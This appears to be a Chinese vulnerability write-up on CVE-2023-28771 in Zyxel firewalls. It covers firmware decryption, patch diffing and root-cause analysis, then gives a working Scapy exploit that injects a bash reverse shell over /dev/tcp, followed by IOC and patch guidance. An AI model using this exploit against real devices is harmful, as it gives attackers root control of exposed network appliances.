查看原文
其他

CVE-2023-28771 RCE分析与EXP

安全路人A 军机故阁 2023-07-11
漏洞概述

CVE-2023-28771 是一个root权限的RCE漏洞,影响多个Zyxel网络设备的 WAN口。2023年3月31日,Zyxel 发布了修复该漏洞的固件更新(5.36 版)。Zyxel报告了受影响的产品表如下:

  • ATP防火墙(固件版本在4.60 至 5.35)

  • USG FLEX(固件版本在4.60至5.35)

  • VPN(固件版本在内4.60至5.35)

  • ZyWALL/USG(固件版本在4.60至4.73)

从2020年10月21日发布的4.60版固件中引发了CVE-2023-28771,距今已有两年半的时间。易受攻击的组件是网络密钥交换 (IKE) 数据包解码器,他是为设备提供的IPSec VPN服务中的一部分功能。而且无需在设备上配置VPN即可攻击设备——受影响列表里的设备在默认状态下易受攻击。攻击者可以将特制的UDP数据包发送到WAN接口的500端口,实现未授权的root权限的远程代码执行

截至2023年5月19日,各类apt情报和蜜罐捕获中,CVE-2023-28771尚未被广泛利用,但预计这种情况之后会发生变化。简单在各类空间搜索下发现,有大约 42,000个Zyxel网络界面实例暴露在公共互联网上,所以真正涉及脆弱设备可能要更多。

技术分析

提取固件

测试使用的设备是USG FLEX 100。可以在myzyxel.com官方网站上找到固件。由于我们的测试是USG FLEX 100设备,因此我下载了易受攻击的USG FLEX 100 5.35(ABUH.0).zip固件和补丁USG FLEX 100 5.36(ABUH.0).zip固件。

$ sha1sum USG\ FLEX\ 100\ 5.35\(ABUH.0\).zip e337a3128cd15f2f9f491e970ec6eb3e576b2e22 USG FLEX 100 5.35(ABUH.0).zip$ sha1sum USG\ FLEX\ 100\ 5.36\(ABUH.0\).zip 30174f76213fb7aebf2fe5b8b4a5085b17491a0b USG FLEX 100 5.36(ABUH.0).zip

由于Zyxel的固件是加密的,我们可以利用已知的明文攻击来解密固件,如RedTeam Pentesting GmbH 在 2011 年左右发布的这份文档中描述的方式。(https://www.nmmapper.com/st/exploitdetails/17244/12356/zywall-usg-appliance-multiple-vulnerabilities/)

$ unzip USG\ FLEX\ 100\ 5.35\(ABUH.0\).zip -d 5.35
Archive: USG FLEX 100 5.35(ABUH.0).zip
inflating: 5.35/535ABUH0C0.bin
inflating: 5.35/535ABUH0C0.conf
inflating: 5.35/535ABUH0C0.db
inflating: 5.35/535ABUH0C0.pdf
extracting: 5.35/535ABUH0C0.ri
inflating: 5.35/USG FLEX 100_V5.35(ABUH.0)C0-foss.pdf
$ unzip USG\ FLEX\ 100\ 5.36\(ABUH.0\).zip -d 5.36
Archive: USG FLEX 100 5.36(ABUH.0).zip
inflating: 5.36/536ABUH0C0.bin
inflating: 5.36/536ABUH0C0.conf
inflating: 5.36/536ABUH0C0.db
inflating: 5.36/536ABUH0C0.pdf
extracting: 5.36/536ABUH0C0.ri
inflating: 5.36/USG FLEX 100_V5.36(ABUH.0)C0-foss.pdf
$ ./pkcrack/bin/extract 5.35.conf.zip 5.35/535ABUH0C0.conf 5.35.535ABUH0C0.plaintext
$ ./pkcrack/bin/extract 5.36.conf.zip 5.36/536ABUH0C0.conf 5.36.536ABUH0C0.plaintext
$ ./pkcrack/bin/pkcrack -C 5.35/535ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.35.535ABUH0C0.plaintext -d 5.35_decrypted.zip -a
Files read. Starting stage 1 on Tue May 16 15:17:44 2023
Generating 1st generation of possible key2_6690 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 948 values at offset 4643
Lowest number: 937 values at offset 4642
Lowest number: 911 values at offset 4633
Lowest number: 844 values at offset 4632
Lowest number: 749 values at offset 4630
Lowest number: 740 values at offset 4627
Lowest number: 723 values at offset 4624
Lowest number: 697 values at offset 4622
Lowest number: 671 values at offset 4618
Lowest number: 606 values at offset 4615
Lowest number: 604 values at offset 4592
Lowest number: 602 values at offset 4590
Lowest number: 586 values at offset 4589
Lowest number: 567 values at offset 4583
Lowest number: 554 values at offset 4582
Lowest number: 528 values at offset 4581
Lowest number: 525 values at offset 4579
Lowest number: 500 values at offset 4576
Done. Left with 500 possible Values. bestOffset is 4576.
Stage 1 completed. Starting stage 2 on Tue May 16 15:17:59 2023
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Ta-daaaaa! key0=93e6624f, key1=550475e2, key2=5bdde6f5
Probabilistic test succeeded for 2119 bytes.
Stage 2 completed. Starting zipdecrypt on Tue May 16 15:18:10 2023
Decrypting compress.img (07a187f5a1b0c46b72d42825)... OK!

...snip...

Decrypting wtpinfo (29eb840eb35536850efa9a2a)... OK!
Finished on Tue May 16 15:18:12 2023
$ ./pkcrack/bin/pkcrack -C 5.36/536ABUH0C0.bin -c db/etc/zyxel/ftp/conf/system-default.conf -p 5.36.536ABUH0C0.plaintext -d 5.36_decrypted.zip -a
Files read. Starting stage 1 on Tue May 16 15:18:44 2023
Generating 1st generation of possible key2_6690 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 985 values at offset 1464
Lowest number: 956 values at offset 1461
Lowest number: 941 values at offset 1457
Lowest number: 910 values at offset 1287
Lowest number: 902 values at offset 1264
Lowest number: 850 values at offset 1245
Lowest number: 832 values at offset 428
Lowest number: 830 values at offset 110
Lowest number: 817 values at offset 109
Lowest number: 769 values at offset 106
Lowest number: 751 values at offset 105
Lowest number: 737 values at offset 102
Lowest number: 733 values at offset 97
Lowest number: 710 values at offset 89
Lowest number: 707 values at offset 88
Lowest number: 706 values at offset 86
Lowest number: 692 values at offset 84
Done. Left with 692 possible Values. bestOffset is 84.
Stage 1 completed. Starting stage 2 on Tue May 16 15:19:00 2023
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Ta-daaaaa! key0=bb8ef2f0, key1=a0d6b0a3, key2=26ba1350
Probabilistic test succeeded for 6611 bytes.
Stage 2 completed. Starting zipdecrypt on Tue May 16 15:19:07 2023
Decrypting compress.img (aadb082da8abcc4237738829)... OK!

...snip...

Decrypting wtpinfo (72b82f8253aed5eaaf24982e)... OK!
Finished on Tue May 16 15:19:08 2023
$ unzip 5.35_decrypted.zip -d 5.35_decrypted
$ unzip 5.36_decrypted.zip -d 5.36_decry

将固件成功解密后,可以使用像7zip这样的工具提取compress.img文件,以获取基于Linux的文件系统的内容

漏洞补丁逆向

在版本5.35和5.36之间,许多文件发生了很多变化,我们发现二进制文件/sbin/sshipsecpm值得关注。我们可以使用IDA Pro和BinDiff快速查看明显的命令注入漏洞如何从易受攻击的固件版本中移除。通过构建一个系统命令并通过调用system来执行该命令以执行写入操作,将调用者提供的错误消息写入日志文件。

使用Ghidra反编译该函数可以显示逻辑。易受攻击的函数是一个可变参数函数,其第一个参数为格式字符串,后面跟0个或多个可变参数。这些参数通过第一次调用ssh_vsnprintf来构建错误消息。第二次调用ssh_vsnprintf将创建一个系统命令,该命令会将错误消息写入日志文件/tmp/sdwan_vpndebug.log。最后,调用system权限执行该命令

ssh_vsnprintf(error_message,0x2000,format_string_param1,&local_param2);
ssh_vsnprintf(command,0x2064,"echo \"[%02d/%02d %02d:%02d:%02d] vpn_info: %s\" >> %s",month + 1,day,hour,minute,second,error_message,"/tmp/sdwan_vpndebug.log");
res = system(command);

该补丁删除了此system调用,通过调用fopen、fputs、fflush和fclose序列来直接将错误消息写入日志文件

如果攻击者恶意数据通过调用这个易受攻击的函数,那攻击者可能执行任意命令注入。

漏洞点分析

虽然我们可以看到漏洞所在,但我们需要确定攻击者恶意的数据如何写入日志文件的错误消息。通过逆向,我们确定了函数ikev2_decode_notify,它本身被由ikev2_decode_packet调用。网络密钥交换(IKE) 协议是IPSec协议套件的一部分,它允许两个对等方建立安全关联以用于安全通信。它通过 UDP 500端口进行通信。

如果我们在易受攻击的设备上运行netstat命令,我们可以看到UDP端口500默认在WAN接口上监听(在下面的示例中绑定到IP地址是192.168.86.40),并且sshipsecpm进程绑定了套接字

bash-5.1# netstat -lnp
netstat -lnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:11080 0.0.0.0:* LISTEN 13002/ttyd
tcp 0 0 127.0.0.1:2601 0.0.0.0:* LISTEN 10330/zebra
tcp 0 0 127.0.0.1:2602 0.0.0.0:* LISTEN 10334/ripd
tcp 0 0 127.0.0.1:2604 0.0.0.0:* LISTEN 10343/ospfd
tcp 0 0 127.0.0.1:10444 0.0.0.0:* LISTEN 3079/pro
tcp 0 0 127.0.0.1:2605 0.0.0.0:* LISTEN 10344/bgpd
tcp 0 0 0.0.0.0:2158 0.0.0.0:* LISTEN 2516/zyssod
tcp 0 0 127.0.0.1:50001 0.0.0.0:* LISTEN 10019/capwap_srv
tcp 0 0 0.0.0.0:179 0.0.0.0:* LISTEN 10344/bgpd
tcp 0 0 192.168.3.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 192.168.2.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 192.168.1.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 192.168.86.40:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN 13108/named
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 12918/sshd_config [
tcp 0 0 127.0.0.1:953 0.0.0.0:* LISTEN 13108/named
tcp6 0 0 :::8008 :::* LISTEN 10880/httpd
tcp6 0 0 :::54088 :::* LISTEN 10880/httpd
tcp6 0 0 :::59465 :::* LISTEN 10880/httpd
tcp6 0 0 :::59466 :::* LISTEN 10880/httpd
tcp6 0 0 :::2158 :::* LISTEN 2516/zyssod
tcp6 0 0 :::80 :::* LISTEN 10880/httpd
tcp6 0 0 :::179 :::* LISTEN 10344/bgpd
tcp6 0 0 :::53 :::* LISTEN 13108/named
tcp6 0 0 :::21 :::* LISTEN 10743/proftpd: (acc
tcp6 0 0 :::22 :::* LISTEN 12918/sshd_config [
tcp6 0 0 :::443 :::* LISTEN 10880/httpd
udp 0 0 192.168.3.1:53 0.0.0.0:* 13108/named
udp 0 0 192.168.2.1:53 0.0.0.0:* 13108/named
udp 0 0 192.168.1.1:53 0.0.0.0:* 13108/named
udp 0 0 192.168.86.40:53 0.0.0.0:* 13108/named
udp 0 0 127.0.0.1:53 0.0.0.0:* 13108/named
udp 0 0 0.0.0.0:67 0.0.0.0:* 13221/dhcpd
udp 4480 0 0.0.0.0:68 0.0.0.0:* 12998/dhcpcd
udp 0 0 0.0.0.0:5246 0.0.0.0:* 10019/capwap_srv
udp 0 0 0.0.0.0:47290 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:13701 0.0.0.0:* 12676/accountingd
udp 0 0 192.168.1.1:4500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.86.40:4500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.1.1:500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.86.40:500 0.0.0.0:* 5706/sshipsecpm
udp 0 0 0.0.0.0:520 0.0.0.0:* 10334/ripd
udp 0 0 192.168.1.1:1701 0.0.0.0:* 5706/sshipsecpm
udp 0 0 192.168.86.40:1701 0.0.0.0:* 5706/sshipsecpm
udp 0 0 127.0.0.1:18121 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:3799 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:1812 0.0.0.0:* 13095/radiusd
udp 0 0 0.0.0.0:1813 0.0.0.0:* 13095/radiusd
udp6 0 0 :::53 :::* 13108/named
raw 0 0 0.0.0.0:1 0.0.0.0:* 7 13221/dhcpd
raw 0 0 0.0.0.0:89 0.0.0.0:* 7 10343/ospfd

使用ike-scan的工具,我们可以确认设备上的WAN口正在接收IKE消息并传输响应包,如下面收到的通知消息所示。

$ sudo ike-scan -M 192.168.86.40
Starting ike-scan 1.9.5 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.86.40 Notify message 14 (NO-PROPOSAL-CHOSEN)
HDR=(CKY-R=08fa698fad4ea545, msgid=98cf95b1)

Ending ike-scan 1.9.5: 1 hosts scanned in 0.012 seconds (82.37 hosts/sec). 0 returned handshake; 1 returned notify

知道漏洞可以在IKE数据包解码期间被触发,并且在WAN口上接收到的IKE消息正在被处理,我们现在可以开始找将要触发漏洞的IKE消息。

我们检查函数ikev2_decode_packet,看到在一个基于负载类型的switch语句中调用ikev2_decode_notify。反编译中的调试日志语句为我们提供有用的提示,可以了解正在执行的操作以及某些变量的使用。阅读定义文档中网络密钥交换(IKEv2)协议的RFC4306,我们可以看到负载类型41(0x29)是用于通知负载的。这证实了对应于我们已经确定的易受攻击函数的命名约定,即ikev_decode_notify。因此,漏洞存在于IKEv2通知负载的解码中。

if ((lVar4 != 0) && (lVar4 = maybe_should_log_this("SshIkev2PacketDecode",0x6e), lVar4 != 0)) { uVar5 = ssh_dvsprintf("Payload of type %d",payload_type); // <----- ssh_debug_output(0x6e,"ikev2-packet-decode.c",0x3c7,"SshIkev2PacketDecode", "ikev2_decode_packet",uVar5); FUN_1028a278(0,local_c4,uVar9); } local_c4 = local_c4 + 4; iVar8 = uVar9 - 4; lVar4 = maybe_should_log_this("SshIkev2PacketDecode",10); if (lVar4 != 0) { uVar7 = ssh_dvsprintf("switch by %d",payload_type); uVar5 = ssh_dvsprintf("[%p/%p] %s",local_20,*(undefined4 *)(local_20 + 0x19c),uVar7); ssh_debug_output(10,"ikev2-packet-decode.c",0x3cd,"SshIkev2PacketDecode","ikev2_decode_packet" ,uVar5); maybe_log_console(uVar7,"ikev2-packet-decode.c",0x3cd); } switch(payload_type) { // <----- case 0x21: local_d0 = FUN_10283ab0(local_20,local_c4,iVar8); break; case 0x22: local_d0 = FUN_10284ec4(local_20,local_c4,iVar8); break; case 0x23: local_d0 = FUN_10285bc8(local_20,local_c4,iVar8); break; case 0x24: local_d0 = FUN_10285d0c(local_20,local_c4,iVar8); break; case 0x25: local_d0 = FUN_10285e54(local_20,local_c4,iVar8); break; case 0x26: local_d0 = FUN_10286410(local_20,local_c4,iVar8); break; case 0x27: local_d0 = FUN_102866c4(local_20,local_c4,iVar8); break; case 0x28: local_d0 = FUN_10286bd0(local_20,local_c4,iVar8); break; case 0x29: // <----- local_d0 = ikev2_decode_notify(local_20,(uint)((ulonglong)((longlong)piVar3[8] << 0x2c) >> 0x3f) << 0x13,local_c4,iVar8); break;

反编译ikev2_decode_notify函数,我们可以看到在下面的反编译中调用了包含我们已经确定的命令注入漏洞的易受攻击日志函数ulnerable_log_function。

if (puVar5[1] == 14) { // <----- NO_PROPOSAL_CHOSEN memcpy(acStack_58,(void *)puVar5[6],puVar5[5]); do-something_with_des_cbc(acStack_58,0x30,0);// <----- decrypt the first 48 bytes, leave the remaining bytes unmodified vulnerable_log_function("[cgnat] 4th sdwan_decode: %s",acStack_58); // <----- contains attacker controlled data lVar2 = FUN_100e0ccc(piVar1 + 0x4a,piVar1 + 0x50,acStack_58); if (lVar2 == 0) { FUN_1028de40(0xd,0xc,*piVar1 + 8,piVar1 + 1,0,0,0,0,"Get a wrong cgnat information") ; vulnerable_log_function("[cgnat] 4th cgnat convert wrong"); }

值得注意的是,与数字14(0x0E)进行的if运算部分。这个数字对应于IKEv2 Notify负载消息类型NO_PROPOSAL_CHOSEN。从负载中提取的数据值似乎使用DES-CBC进行解码,然后通过易受攻击的日志函数进行记录。进一步检查RFC4306显示,Notify负载在负载末尾附加了一个特定于消息类型的数据块。看起来这就是被解码和记录的值。

经过一些调试,我们观察到以下情况:具有NO_PROPOSAL_CHOSEN消息类型的IKEv2 Notify消息将到达易受攻击的代码路径。通过调用memcpy,将Notify负载的通知数据值复制到本地变量。前48(0x30)个字节使用DES算法进行解密;然而,在前48个字节之后的剩余字节保持不变。然后,通过易受攻击的日志函数将整个字符串记录到/tmp/sdwan_vpndebug.log中。

因此,攻击者可以在消息类型为NO_PROPOSAL_CHOSEN的Notify负载的通知数据字段中加入任意命令,会使用root权限执行任意命令。

CVE-2023-28771 EXP

以下利用Python中的Scapy脚本将触发漏洞并实现反向root shell。

#!/usr/bin/python3import sysfrom scapy.all import *
load_contrib('ikev2')
cmd = "\";bash -c \"exec bash -i &>/dev/tcp/" + sys.argv[2] + "/" + sys.argv[3] + " <&1;\";echo -n \""
packet = IP(dst = sys.argv[1]) / UDP(dport = 500) / IKEv2(init_SPI = RandString(8), next_payload = 'Notify', exch_type = 'IKE_SA_INIT', flags='Initiator') / IKEv2_payload_Notify(next_payload = 'Nonce', type = 14, load = "HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB" + cmd) / IKEv2_payload_Nonce(next_payload = 'None', load = RandString(68))
send(packet)

我们可以通过以下方式确认设备易受攻击:

$ sudo python3 CVE-2023-28771.py 192.168.86.40 192.168.86.34 4444.Sent 1 packets.$

Netcat可用于获取 shell。

$ ncat -lnp 4444bash: cannot set terminal process group (5405): Inappropriate ioctl for devicebash: no job control in this shellbash-5.1# ididuid=0(root) gid=0(root) groups=0(root)bash-5.1# uname -auname -aLinux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linuxbash-5.1#


IOC

一个潜在的IOC指标是文件中的以下条目/tmp/sdwan_vpndebug.log

[05/19 17:38:14] vpn_info: [cgnat] 4th cgnat convert wrong

此消息将在调用漏洞攻击的日志函数后写入。但是它并没有明确表明已经发生了漏洞利用——它只是表明处理了一个到达漏洞攻击代码路径的数据包。


防御方式

要成功修复 CVE-2023-28771,请尽快为受影响的 Zyxel 设备应用最新的固件更新。固定版本如下:

  • ATP – 固件版本 5.36

  • USG FLEX – 固件版本 5.36

  • VPN – 固件版本 5.36

  • ZyWALL/USG – 固件版本 4.73 补丁 1

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存